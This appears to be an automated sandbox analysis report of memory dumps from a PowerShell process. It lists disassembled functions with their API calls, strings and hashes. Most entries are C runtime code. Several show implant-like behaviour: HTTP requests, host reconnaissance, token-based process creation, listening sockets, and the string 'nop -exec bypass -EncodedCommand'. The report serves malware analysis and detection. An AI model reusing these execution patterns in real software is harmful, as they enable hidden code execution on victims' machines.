_invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0D3987

Strings

@, xrefs: 0000022EFA0D301B
, xrefs: 0000022EFA0D363F

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _errnowrite_multi_charwrite_string$Locale_invalid_parameter_noinfowrite_char$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_fileno_getptd_getptd_noexit_isleadbyte_lfree
String ID: $@
API String ID: 3318157856-1077428164
Opcode ID: 43138757bcee35b18d1a9352f63dda4217664694579bf9df27f2658c9d71e8f1
Instruction ID: c879a5fc215cf7d9df5593d13273af5666b518eaad1d7d80c893318b3729fdd5
Opcode Fuzzy Hash: 43138757bcee35b18d1a9352f63dda4217664694579bf9df27f2658c9d71e8f1
Instruction Fuzzy Hash: DF52D063608684A6FF658E95B74C36EEBA0B749794F161105DA461EFF8DF3CC840EB02

Function 0000022EFA0D2528 Relevance: 35.7, APIs: 19, Strings: 1, Instructions: 687COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0000022EFA0D2589

Part of subcall function 0000022EFA0D1600: _getptd.LIBCMT ref: 0000022EFA0D1616
Part of subcall function 0000022EFA0D1600: __updatetlocinfo.LIBCMT ref: 0000022EFA0D164B
Part of subcall function 0000022EFA0D1600: __updatetmbcinfo.LIBCMT ref: 0000022EFA0D1672

_errno.LIBCMT ref: 0000022EFA0D258E

Part of subcall function 0000022EFA0D1D18: _getptd_noexit.LIBCMT ref: 0000022EFA0D1D1C

_fileno.LIBCMT ref: 0000022EFA0D25BB

Part of subcall function 0000022EFA0D5A54: _errno.LIBCMT ref: 0000022EFA0D5A5D
Part of subcall function 0000022EFA0D5A54: _invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0D5A68

write_multi_char.LIBCMT ref: 0000022EFA0D2BEB
write_string.LIBCMT ref: 0000022EFA0D2C08
write_multi_char.LIBCMT ref: 0000022EFA0D2C25
write_string.LIBCMT ref: 0000022EFA0D2C84
write_string.LIBCMT ref: 0000022EFA0D2CBB
write_multi_char.LIBCMT ref: 0000022EFA0D2CDD
free.LIBCMT ref: 0000022EFA0D2CF1
_isleadbyte_l.LIBCMT ref: 0000022EFA0D2DC2
write_char.LIBCMT ref: 0000022EFA0D2DD8
write_char.LIBCMT ref: 0000022EFA0D2DF9
_errno.LIBCMT ref: 0000022EFA0D2EF3
_invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0D2EFE

Strings

, xrefs: 0000022EFA0D2BBF

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _errnowrite_multi_charwrite_string$Locale_invalid_parameter_noinfowrite_char$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_fileno_getptd_getptd_noexit_isleadbyte_lfree
String ID:
API String ID: 3318157856-3916222277
Opcode ID: fca6f3964dd5be39caa2a1998c64648d50546d36c07ae532eb44751125f6f7d4
Instruction ID: 8bb7cd7269f5435c1d3f87f4262a6a6b68eccd93a1a244ab569c9d4302a02333
Opcode Fuzzy Hash: fca6f3964dd5be39caa2a1998c64648d50546d36c07ae532eb44751125f6f7d4
Instruction Fuzzy Hash: 3152DE33608686A6FF658E94B7483AE6BA4B74D794F261005DA461FFF5DF7CC840AB00

Function 0000022EF9B3239C Relevance: 32.2, APIs: 16, Strings: 2, Instructions: 694COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0000022EF9B323FD

Part of subcall function 0000022EF9B30A00: _getptd.LIBCMT ref: 0000022EF9B30A16
Part of subcall function 0000022EF9B30A00: __updatetlocinfo.LIBCMT ref: 0000022EF9B30A4B
Part of subcall function 0000022EF9B30A00: __updatetmbcinfo.LIBCMT ref: 0000022EF9B30A72

_errno.LIBCMT ref: 0000022EF9B32402

Part of subcall function 0000022EF9B31118: _getptd_noexit.LIBCMT ref: 0000022EF9B3111C

_fileno.LIBCMT ref: 0000022EF9B3242F

Part of subcall function 0000022EF9B34E54: _errno.LIBCMT ref: 0000022EF9B34E5D
Part of subcall function 0000022EF9B34E54: _invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B34E68

write_multi_char.LIBCMT ref: 0000022EF9B32A6B
write_string.LIBCMT ref: 0000022EF9B32A88
write_multi_char.LIBCMT ref: 0000022EF9B32AA5
write_string.LIBCMT ref: 0000022EF9B32B04
write_string.LIBCMT ref: 0000022EF9B32B3B
write_multi_char.LIBCMT ref: 0000022EF9B32B5D
free.LIBCMT ref: 0000022EF9B32B71
_isleadbyte_l.LIBCMT ref: 0000022EF9B32C42
write_char.LIBCMT ref: 0000022EF9B32C58
write_char.LIBCMT ref: 0000022EF9B32C79
_errno.LIBCMT ref: 0000022EF9B32D7C
_invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B32D87

Strings

, xrefs: 0000022EF9B32A3F
@, xrefs: 0000022EF9B3241B

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _errnowrite_multi_charwrite_string$Locale_invalid_parameter_noinfowrite_char$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_fileno_getptd_getptd_noexit_isleadbyte_lfree
String ID: $@
API String ID: 3318157856-1077428164
Opcode ID: 0917c7b026fa98026fd61c82a9db6b94b013ed73c29c4ccbf17a38093d3ada48
Instruction ID: ff49ecf7092227870cad29336f63db43e7eaa423e166d2def8b7610ed3d097c7
Opcode Fuzzy Hash: 0917c7b026fa98026fd61c82a9db6b94b013ed73c29c4ccbf17a38093d3ada48
Instruction Fuzzy Hash: FD52F322708684A6FF75CB95D76CB6E7BA0BB65784F164105DEC607EE4DB38C840EB08

Function 0000022EF9B31928 Relevance: 28.6, APIs: 14, Strings: 2, Instructions: 645COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0000022EF9B31989

Part of subcall function 0000022EF9B30A00: _getptd.LIBCMT ref: 0000022EF9B30A16
Part of subcall function 0000022EF9B30A00: __updatetlocinfo.LIBCMT ref: 0000022EF9B30A4B
Part of subcall function 0000022EF9B30A00: __updatetmbcinfo.LIBCMT ref: 0000022EF9B30A72

_errno.LIBCMT ref: 0000022EF9B3198E

Part of subcall function 0000022EF9B31118: _getptd_noexit.LIBCMT ref: 0000022EF9B3111C

_fileno.LIBCMT ref: 0000022EF9B319BB

Part of subcall function 0000022EF9B34E54: _errno.LIBCMT ref: 0000022EF9B34E5D
Part of subcall function 0000022EF9B34E54: _invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B34E68

write_multi_char.LIBCMT ref: 0000022EF9B31FEB
write_string.LIBCMT ref: 0000022EF9B32008
_errno.LIBCMT ref: 0000022EF9B322F3
_invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B322FE

Strings

0, xrefs: 0000022EF9B31D28
-, xrefs: 0000022EF9B31F9C

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _errno$Locale_invalid_parameter_noinfo$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_fileno_getptd_getptd_noexitwrite_multi_charwrite_string
String ID: -$0
API String ID: 3246410048-417717675
Opcode ID: 9d83564e1f44511746efc6243833ea10ca1e0c0cc6e5e094e442fc0115aecad6
Instruction ID: 074ed1d1f12d8d1cc4758e7cca6151a4dde977d87e02543c6598768d7250f553
Opcode Fuzzy Hash: 9d83564e1f44511746efc6243833ea10ca1e0c0cc6e5e094e442fc0115aecad6
Instruction Fuzzy Hash: EE420362708A94A6FF74CBD5D76CB7E6BA8B761780F160005DEC606ED4DB39D840EB08

Function 0000022EF9B35914 Relevance: 26.7, APIs: 14, Strings: 1, Instructions: 460
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__doserrno.LIBCMT ref: 0000022EF9B3596A
_errno.LIBCMT ref: 0000022EF9B35971
_invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B3597C

Strings

U, xrefs: 0000022EF9B35EDE

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: __doserrno_errno_invalid_parameter_noinfo
String ID: U
API String ID: 3902385426-4171548499
Opcode ID: 1e306023ed328bab19b7a5d60cdebdd92491a2c212ad1309fcb9b443deab4914
Instruction ID: 769a17ffd5e4cc9a8da3852ef1351304eb9bd3c732eaee80aeb11cea0f8dad71
Opcode Fuzzy Hash: 1e306023ed328bab19b7a5d60cdebdd92491a2c212ad1309fcb9b443deab4914
Instruction Fuzzy Hash: CA120832318641A6EF30CFA8D5AC79E77A0F7A4758F520116DACD43E94DB7AC445EB08

Function 0000022EFA0C7B38 Relevance: 26.0, APIs: 10, Strings: 7, Instructions: 545
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_snprintf.LIBCMT ref: 0000022EFA0C7D66
_snprintf.LIBCMT ref: 0000022EFA0C7D83
_snprintf.LIBCMT ref: 0000022EFA0C7CA5

Part of subcall function 0000022EFA0CF63C: _errno.LIBCMT ref: 0000022EFA0CF673
Part of subcall function 0000022EFA0CF63C: _invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0CF67E

_snprintf.LIBCMT ref: 0000022EFA0C7FD8
_snprintf.LIBCMT ref: 0000022EFA0C8334

Strings

%s%s: %s, xrefs: 0000022EFA0C7C94
%s%s, xrefs: 0000022EFA0C7FC7, 0000022EFA0C7FF1, 0000022EFA0C8195, 0000022EFA0C8326
%s&%s, xrefs: 0000022EFA0C826A
%s%s, xrefs: 0000022EFA0C80D7
?%s, xrefs: 0000022EFA0C8257
%s&%s=%s, xrefs: 0000022EFA0C7D77
?%s=%s, xrefs: 0000022EFA0C7D5A

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _snprintf$_errno_invalid_parameter_noinfo
String ID: %s%s$%s%s$%s%s: %s$%s&%s$%s&%s=%s$?%s$?%s=%s
API String ID: 3442832105-1222817042
Opcode ID: 412d66828e9d0a494a073441381b0bd2cf94e887e51df8164056f8f6c456b4ac
Instruction ID: 448c598577a7d517654325d1462a37e202ee1a50cf5d25115a5d6ccde123e6e7
Opcode Fuzzy Hash: 412d66828e9d0a494a073441381b0bd2cf94e887e51df8164056f8f6c456b4ac
Instruction Fuzzy Hash: 9D42C762614E84A2EE258B69F1453E8A3B0FF9C799F055101DF891BF71EB3CD1A6E340

Function 0000022EFA0C1C30 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 150
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.LIBCMT ref: 0000022EFA0C1C63

Part of subcall function 0000022EFA0CF284: _FF_MSGBANNER.LIBCMT ref: 0000022EFA0CF2B4
Part of subcall function 0000022EFA0CF284: _NMSG_WRITE.LIBCMT ref: 0000022EFA0CF2BE
Part of subcall function 0000022EFA0CF284: HeapAlloc.KERNEL32 ref: 0000022EFA0CF2D9
Part of subcall function 0000022EFA0CF284: _callnewh.LIBCMT ref: 0000022EFA0CF2F2
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF2FD
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF308

Part of subcall function 0000022EFA0BD044: malloc.LIBCMT ref: 0000022EFA0BD057

Part of subcall function 0000022EFA0BD074: htonl.WS2_32 ref: 0000022EFA0BD07F

GetCurrentDirectoryA.KERNEL32 ref: 0000022EFA0C1CDB
FindFirstFileA.KERNEL32 ref: 0000022EFA0C1D14
GetLastError.KERNEL32 ref: 0000022EFA0C1D23
free.LIBCMT ref: 0000022EFA0C1D5E
free.LIBCMT ref: 0000022EFA0C1D6B

Part of subcall function 0000022EFA0CF244: HeapFree.KERNEL32 ref: 0000022EFA0CF25A
Part of subcall function 0000022EFA0CF244: _errno.LIBCMT ref: 0000022EFA0CF264
Part of subcall function 0000022EFA0CF244: GetLastError.KERNEL32 ref: 0000022EFA0CF26C

FileTimeToSystemTime.KERNEL32 ref: 0000022EFA0C1D78
SystemTimeToTzSpecificLocalTime.KERNEL32 ref: 0000022EFA0C1D89
FindNextFileA.KERNEL32 ref: 0000022EFA0C1E46
FindClose.KERNEL32 ref: 0000022EFA0C1E57

Strings

.\*, xrefs: 0000022EFA0C1CBF
%s, xrefs: 0000022EFA0C1CF9
F%I64d%02d/%02d/%02d %02d:%02d:%02d%s, xrefs: 0000022EFA0C1E29
D0%02d/%02d/%02d %02d:%02d:%02d%s, xrefs: 0000022EFA0C1DCB

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: Time$FileFind_errno$ErrorHeapLastSystemfreemalloc$AllocCloseCurrentDirectoryFirstFreeLocalNextSpecific_callnewhhtonl
String ID: %s$.\*$D0%02d/%02d/%02d %02d:%02d:%02d%s$F%I64d%02d/%02d/%02d %02d:%02d:%02d%s
API String ID: 723279517-1754256099
Opcode ID: 457427d9072a94c5804b99a9cf994faefb62e403f1d248ccd724e43b7fc9f85d
Instruction ID: e15ee332dafd4a51bf167758841f31a1f73406edc933e7fa286befec57257806
Opcode Fuzzy Hash: 457427d9072a94c5804b99a9cf994faefb62e403f1d248ccd724e43b7fc9f85d
Instruction Fuzzy Hash: 0B61B072304751A6EF14DBA1F59829DA3A1F78CB80F414015EE494BFA9EF7CC605EB40

Function 0000022EFA0BE68C Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 165networkfileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_snprintf.LIBCMT ref: 0000022EFA0BE725

Part of subcall function 0000022EFA0CF63C: _errno.LIBCMT ref: 0000022EFA0CF673
Part of subcall function 0000022EFA0CF63C: _invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0CF67E

Part of subcall function 0000022EFA0C7B38: _snprintf.LIBCMT ref: 0000022EFA0C7CA5

_snprintf.LIBCMT ref: 0000022EFA0BE7BD
_snprintf.LIBCMT ref: 0000022EFA0BE7D4
HttpOpenRequestA.WININET ref: 0000022EFA0BE818
HttpSendRequestA.WININET ref: 0000022EFA0BE84A
InternetQueryDataAvailable.WININET ref: 0000022EFA0BE87A
InternetCloseHandle.WININET ref: 0000022EFA0BE898

Part of subcall function 0000022EFA0C2D70: strchr.LIBCMT ref: 0000022EFA0C2DD6
Part of subcall function 0000022EFA0C2D70: _snprintf.LIBCMT ref: 0000022EFA0C2E0C

Part of subcall function 0000022EFA0C2C0C: strchr.LIBCMT ref: 0000022EFA0C2C69
Part of subcall function 0000022EFA0C2C0C: _snprintf.LIBCMT ref: 0000022EFA0C2CB3

InternetReadFile.WININET ref: 0000022EFA0BE8D4
InternetCloseHandle.WININET ref: 0000022EFA0BE8F5

Strings

%s%s, xrefs: 0000022EFA0BE7C9
*/*, xrefs: 0000022EFA0BE6CB

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _snprintf$Internet$CloseHandleHttpRequeststrchr$AvailableDataFileOpenQueryReadSend_errno_invalid_parameter_noinfo
String ID: %s%s$*/*
API String ID: 3536628738-856325523
Opcode ID: 5c4b2c5719e067ce629add7012f112fb417b911470ce534f4123a2ba84123eb0
Instruction ID: 25c28d18f78e98b7ecba82cf1f25bf0136018bbeae2abe28f452bc7835139b49
Opcode Fuzzy Hash: 5c4b2c5719e067ce629add7012f112fb417b911470ce534f4123a2ba84123eb0
Instruction Fuzzy Hash: 01719122700B81A6EF109BA1F6987AA67A1F78CBD4F420112EE4D5BFA5DF3CC505E700

Function 0000022EF9B26F38 Relevance: 18.5, APIs: 10, Strings: 2, Instructions: 545COMMONLIBRARYCODE

Download Yara Rule

APIs

_snprintf.LIBCMT ref: 0000022EF9B27166
_snprintf.LIBCMT ref: 0000022EF9B27183
_snprintf.LIBCMT ref: 0000022EF9B270A5

Part of subcall function 0000022EF9B2EA3C: _errno.LIBCMT ref: 0000022EF9B2EA73
Part of subcall function 0000022EF9B2EA3C: _invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B2EA7E

_snprintf.LIBCMT ref: 0000022EF9B273D8
_snprintf.LIBCMT ref: 0000022EF9B27734

Strings

not create token: %d, xrefs: 0000022EF9B27657
nop -exec bypass -EncodedCommand "%s", xrefs: 0000022EF9B274D7

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _snprintf$_errno_invalid_parameter_noinfo
String ID: nop -exec bypass -EncodedCommand "%s"$not create token: %d
API String ID: 3442832105-3652497171
Opcode ID: 5c5fb6f4a09e06ccff5c46792293312cb34477fc99d63142bfc01bcec4b0117e
Instruction ID: 0233bbdf85a01739512684917093ddba419a92e3e8cd302048d752628e7d0e42
Opcode Fuzzy Hash: 5c5fb6f4a09e06ccff5c46792293312cb34477fc99d63142bfc01bcec4b0117e
Instruction Fuzzy Hash: BD42D561614E84A2EF378B69D1553E8A3A0FFA9759F015101DFC817F65EF38D2A2D308

Function 0000022EFA0C0F34 Relevance: 18.2, APIs: 12, Instructions: 163processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserA.ADVAPI32 ref: 0000022EFA0C0F8F
GetLastError.KERNEL32 ref: 0000022EFA0C0F9D
GetLastError.KERNEL32 ref: 0000022EFA0C0FC1

Part of subcall function 0000022EFA0BFE54: MultiByteToWideChar.KERNEL32 ref: 0000022EFA0BFE81
Part of subcall function 0000022EFA0BFE54: MultiByteToWideChar.KERNEL32 ref: 0000022EFA0BFEA9

CreateProcessA.KERNEL32 ref: 0000022EFA0C1013
GetLastError.KERNEL32 ref: 0000022EFA0C101D
GetCurrentDirectoryW.KERNEL32 ref: 0000022EFA0C1374
GetCurrentDirectoryW.KERNEL32 ref: 0000022EFA0C1388
CreateProcessWithTokenW.ADVAPI32 ref: 0000022EFA0C13D1

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: CreateErrorLastProcess$ByteCharCurrentDirectoryMultiWide$TokenUserWith
String ID:
API String ID: 3044875250-0
Opcode ID: 1d990aa2536e0bdd41909587e15d765ca5c4192818fd4d96a304531b1bef1f0e
Instruction ID: faf235a36a2fec85977fc8bb3a4553c3029e4125144d56694c43528b04ef1748
Opcode Fuzzy Hash: 1d990aa2536e0bdd41909587e15d765ca5c4192818fd4d96a304531b1bef1f0e
Instruction Fuzzy Hash: 1C717B32204B44E2EF209FA1F68835E63A1FB4CB84F124125DA494BFA5DF7CC495EB40

Function 0000022EFA0C9220 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 87fileCOMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EFA0C924F

Part of subcall function 0000022EFA0CF284: _FF_MSGBANNER.LIBCMT ref: 0000022EFA0CF2B4
Part of subcall function 0000022EFA0CF284: _NMSG_WRITE.LIBCMT ref: 0000022EFA0CF2BE
Part of subcall function 0000022EFA0CF284: HeapAlloc.KERNEL32 ref: 0000022EFA0CF2D9
Part of subcall function 0000022EFA0CF284: _callnewh.LIBCMT ref: 0000022EFA0CF2F2
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF2FD
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF308

_snprintf.LIBCMT ref: 0000022EFA0C9267

Part of subcall function 0000022EFA0CF63C: _errno.LIBCMT ref: 0000022EFA0CF673
Part of subcall function 0000022EFA0CF63C: _invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0CF67E

FindFirstFileA.KERNEL32 ref: 0000022EFA0C9272
free.LIBCMT ref: 0000022EFA0C927E

Part of subcall function 0000022EFA0CF244: HeapFree.KERNEL32 ref: 0000022EFA0CF25A
Part of subcall function 0000022EFA0CF244: _errno.LIBCMT ref: 0000022EFA0CF264
Part of subcall function 0000022EFA0CF244: GetLastError.KERNEL32 ref: 0000022EFA0CF26C

malloc.LIBCMT ref: 0000022EFA0C92CE
_snprintf.LIBCMT ref: 0000022EFA0C92E6
free.LIBCMT ref: 0000022EFA0C930E
FindNextFileA.KERNEL32 ref: 0000022EFA0C9327
FindClose.KERNEL32 ref: 0000022EFA0C9338

Strings

%s\*, xrefs: 0000022EFA0C9254

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _errno$Find$FileHeap_snprintffreemalloc$AllocCloseErrorFirstFreeLastNext_callnewh_invalid_parameter_noinfo
String ID: %s\*
API String ID: 2620626937-766152087
Opcode ID: cc893efac870e389c3214beb74474689fb7507946bb50414294d16208cc1c1d7
Instruction ID: 7af96dcc26320755320cbb0669f069870832c86b2448089441905ac21959ef2e
Opcode Fuzzy Hash: cc893efac870e389c3214beb74474689fb7507946bb50414294d16208cc1c1d7
Instruction Fuzzy Hash: 5C31ED1620068266EE159BE3BA183A97B61734EFD0F8A50519ED50FFF6DB3CC942B300

Function 0000022EFA0C5E28 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 116stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000022EFA0C5FEC: malloc.LIBCMT ref: 0000022EFA0C6008

GetUserNameA.ADVAPI32 ref: 0000022EFA0C5EAF
GetComputerNameA.KERNEL32 ref: 0000022EFA0C5EC2
GetModuleFileNameA.KERNEL32 ref: 0000022EFA0C5EDB
strrchr.LIBCMT ref: 0000022EFA0C5EED
GetVersionExA.KERNEL32 ref: 0000022EFA0C5F10
_snprintf.LIBCMT ref: 0000022EFA0C5F9B

Strings

%s%s%s, xrefs: 0000022EFA0C5F7F

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: Name$ComputerFileModuleUserVersion_snprintfmallocstrrchr
String ID: %s%s%s
API String ID: 1671524875-1891519693
Opcode ID: 40ae984fd8d1d60e03acc18bee9c81741f4638c9dfd0547d5b2d8a001e524837
Instruction ID: 8a4a2eccfd361d19fdb1f4fbca8c265f0ca69a020293538bce29c8df7d9b8687
Opcode Fuzzy Hash: 40ae984fd8d1d60e03acc18bee9c81741f4638c9dfd0547d5b2d8a001e524837
Instruction Fuzzy Hash: 1141A22470424166FE08EBA2BB6C76E6791B78DBD0F4A4520BE554FFB6CE3CC442A700

Function 0000022EFA0C6A78 Relevance: 9.1, APIs: 6, Instructions: 60networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 0000022EFA0C6AB0
htons.WS2_32 ref: 0000022EFA0C6AD0
ioctlsocket.WS2_32 ref: 0000022EFA0C6AEC
closesocket.WS2_32 ref: 0000022EFA0C6AFA
bind.WS2_32 ref: 0000022EFA0C6B0D
listen.WS2_32 ref: 0000022EFA0C6B1D

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
